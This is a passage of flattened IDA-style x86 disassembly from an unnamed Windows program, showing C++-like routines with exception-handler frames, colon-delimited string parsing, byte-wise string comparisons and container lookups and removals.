loc_413CD0 mov ecx, eax call sub_401F4B jmp short loc_413CD2 ; --------------------------------------------------------------------------- loc_413CD0: ; CODE XREF: sub_413C30+95j xor eax, eax loc_413CD2: ; CODE XREF: sub_413C30+9Ej push offset asc_444C64 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016B8 mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40202C lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_401488 ; --------------------------------------------------------------------------- inc esi push offset asc_444C64 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413CB0 loc_413D53: ; CODE XREF: sub_413C30+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413D79: ; CODE XREF: sub_413C30+26j ; sub_413C30+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413C30 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E00 proc near ; CODE XREF: sub_401F4Bj push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_413E00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413E20: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401870 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E60 proc near ; CODE XREF: sub_4018ACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413E60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014D3 mov ecx, ebp call sub_401CE4 xor ebx, ebx cmp eax, ebx jnz loc_41404E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014D3 mov ecx, ebp call sub_402130 mov edi, eax cmp edi, ebx jz loc_41404E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014D3 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_41404E push offset byte_448F30 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413F47 lea ecx, [edi+2Ah] call sub_4017EE lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017EE loc_413F16: ; CODE XREF: sub_413E60+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413F3A cmp cl, bl jz short loc_413F36 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413F3A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F16 loc_413F36: ; CODE XREF: sub_413E60+C0j xor eax, eax jmp short loc_413F3F ; --------------------------------------------------------------------------- loc_413F3A: ; CODE XREF: sub_413E60+BCj ; sub_413E60+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413F3F: ; CODE XREF: sub_413E60+D8j cmp eax, ebx jnz loc_41404E loc_413F47: ; CODE XREF: sub_413E60+A1j push offset byte_448F30 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413FA3 lea ecx, [edi+3Fh] call sub_4017EE lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017EE loc_413F72: ; CODE XREF: sub_413E60+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413F96 cmp cl, bl jz short loc_413F92 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413F96 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F72 loc_413F92: ; CODE XREF: sub_413E60+11Cj xor eax, eax jmp short loc_413F9B ; --------------------------------------------------------------------------- loc_413F96: ; CODE XREF: sub_413E60+118j ; sub_413E60+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413F9B: ; CODE XREF: sub_413E60+134j cmp eax, ebx jnz loc_41404E loc_413FA3: ; CODE XREF: sub_413E60+FAj push 58h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413FC3 mov ecx, eax call sub_401D1B jmp short loc_413FC5 ; --------------------------------------------------------------------------- loc_413FC3: ; CODE XREF: sub_413E60+158j xor eax, eax loc_413FC5: ; CODE XREF: sub_413E60+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40202C mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40202C lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401410 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_41409B ; --------------------------------------------------------------------------- loc_41404E: ; CODE XREF: sub_413E60+44j ; sub_413E60+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_41409B: ; CODE XREF: sub_413E60+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413E60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414150 proc near ; CODE XREF: sub_401D1Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414150 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414150 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4141E0: ; CODE XREF: ___:00401DD9j push 0FFFFFFFFh push offset loc_43AF10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401870 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_4018AC mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4142D0 proc near ; CODE XREF: sub_401541j add ecx, 6Ch jmp sub_401C76 sub_4142D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4142F0 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4142F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_437AEA sub_4142F0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414333 mov ecx, eax call sub_401BF4 ; --------------------------------------------------------------------------- jmp short loc_414335 ; --------------------------------------------------------------------------- loc_414333: ; CODE XREF: ___:00414328j xor eax, eax loc_414335: ; CODE XREF: ___:00414331j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40202C mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40202C mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40202C mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40202C lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401F0F ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414420 proc near ; CODE XREF: sub_401BF4j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414420 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_40142E lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414420 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4144C0: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_43AFD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414590 proc near ; CODE XREF: sub_401DC0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_414590 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E38 mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jz short loc_414640 loc_4145F5: ; CODE XREF: sub_414590+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_41461D lea ecx, [esp+18h+var_14] call sub_401FC3 mov edx, [eax] mov [esp+18h+var_10], edx loc_41461D: ; CODE XREF: sub_414590+7Cj lea ecx, [esp+18h+var_14] call sub_4020C2 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jnz short loc_4145F5 loc_414640: ; CODE XREF: sub_414590+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_414688 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_414663 push 1 call sub_4019EC loc_414663: ; CODE XREF: sub_414590+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_414688: ; CODE XREF: sub_414590+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_414590 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414700 proc near ; CODE XREF: sub_4019ECj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402243 test [esp+4+arg_0], 1 jz short loc_414718 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414718: ; CODE XREF: sub_414700+Dj mov eax, esi pop esi retn 4 sub_414700 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414730 proc near ; CODE XREF: sub_402243j jmp sub_401226 sub_414730 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414750: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_43B020 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_444C64 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414819 loc_4147B3: ; CODE XREF: ___:00414817j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_444C64 ; ":" push esi push edx call sub_4016B8 mov ecx, ebp call sub_401DC0 cmp al, bl jnz short loc_4147E0 mov [esp+13h], bl loc_4147E0: ; CODE XREF: ___:004147DAj inc esi push offset asc_444C64 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4147B3 loc_414819: ; CODE XREF: ___:004147B1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414890 proc near ; CODE XREF: sub_40212Bj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_414890 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017EE test eax, eax jz loc_4149C4 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402275 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_41496E loc_414904: ; CODE XREF: sub_414890+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B86 test eax, eax jz short loc_41493C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax jnz short loc_41494B loc_41493C: ; CODE XREF: sub_414890+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41494B: ; CODE XREF: sub_414890+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414904 loc_41496E: ; CODE XREF: sub_414890+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_4149C4 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_40214E mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_414991 push 1 call sub_401708 loc_414991: ; CODE XREF: sub_414890+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_4149C4: ; CODE XREF: sub_414890+2Ej ; sub_414890+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_414890 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A60 proc near ; CODE XREF: sub_401708j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_414A78 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414A78: ; CODE XREF: sub_414A60+Dj mov eax, esi pop esi retn 4 sub_414A60 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A90 proc near ; CODE XREF: sub_401A6Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414A90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_414A90 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414B20: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_43B098 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40212B mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414BB0: ; CODE XREF: ___:00401B45j push 0FFFFFFFFh push offset loc_43B0B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017EE test eax, eax jz loc_414CB7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401992 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jz short loc_414C6F loc_414C24: ; CODE XREF: ___:00414C6Dj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_414C4C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414C4C: ; CODE XREF: ___:00414C3Bj lea ecx, [esp+4] call sub_4018C5 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jnz short loc_414C24 loc_414C6F: ; CODE XREF: ___:00414C22j mov eax, [esp+8] test eax, eax jz short loc_414CB7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414C92 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414C92: ; CODE XREF: ___:00414C89j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414CB7: ; CODE XREF: ___:00414BDEj ; ___:00414C75j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D30 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B59 sub_414D30 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414D48 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414D48: ; CODE XREF: ___:00414D3Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D60 proc near ; CODE XREF: sub_401B59j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401582 sub_414D60 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E00 proc near ; CODE XREF: sub_4014C9j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414E00 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414EFB sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014D3 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_448F30 call sub_401870 or ebx, 0FFFFFFFFh mov ecx, offset word_44AC5E mov [esp+88h+var_4], ebx call sub_40212B test al, al jz loc_415030 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019C4 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414EFB: ; CODE XREF: sub_414E00+36j lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_415030 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014D3 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014D3 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014D3 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_444600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_444600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_44AC5E mov [esp+0D0h+var_4], ebx call sub_4018AC test al, al jz short loc_415030 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019C4 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_415030: ; CODE XREF: sub_414E00+82j ; sub_414E00+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414E00 endp ; 